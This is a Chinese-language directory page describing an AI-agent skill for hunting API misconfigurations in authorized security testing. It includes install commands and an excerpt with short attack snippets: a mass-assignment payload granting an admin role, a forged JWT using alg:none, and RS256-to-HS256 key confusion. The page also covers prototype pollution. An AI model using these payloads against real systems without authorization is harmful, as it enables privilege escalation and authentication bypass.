hunt-api-misconfig

仓库创建 2026年5月5日最近提交 4 天前SkillHot 收录 20 天前
▸ 精选理由

把常见 API 漏洞模式模块化,帮助快速定位并验证真实漏洞场景。

▸ 风险提示

包含可用于绕过认证与劫持的漏洞利用方法,具有滥用风险,请在合法授权范围内使用。

这个 Skill 做什么

面向 API 的安全错配检测清单:批量赋值、JWT 弱点、原型污染等攻击向量。

给 API 安全审计的错配检测清单,覆盖 mass assignment、prototype pollution、HTTP 方法滥用、JWT 参数滥用等常见攻击向量。渗透测试或代码审查时用来快速排查配置弱点和易被利用的路径。特点是聚焦非加密 JWT 问题、原型污染链和可观测的响应特征,便于复现和验证。

▸ 展开 SKILL.md 英文原文

Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).

垂直行业API安全JWT配置错误通用
3.1k
Stars
480
Forks
40
仓库内 Skill
+245
7 日增星
安装 / 使用
给你的 Agent 一句话(通用)
帮我安装这个 skill:https://raw.githubusercontent.com/elementalsouls/Claude-BugHunter/main/skills/hunt-api-misconfig/SKILL.md
或 curl 直取 SKILL.md
curl -fsSL "https://raw.githubusercontent.com/elementalsouls/Claude-BugHunter/main/skills/hunt-api-misconfig/SKILL.md"
SKILL.MD 节选查看完整文件 ↗
## 12. API SECURITY MISCONFIGURATION

### Mass Assignment
```javascript
User.update(req.body)  // body has {"role": "admin"} → privilege escalation
```

### JWT None Algorithm
```python
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature
```

### JWT RS256 → HS256 Algorithm Confusion
```python
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
```

### Prototype Pollution
```javascript
// Server-side — Node.js merge with
via SKILL·HOT · 数据来自 GitHub 公开信息 · 原文版权归作者所有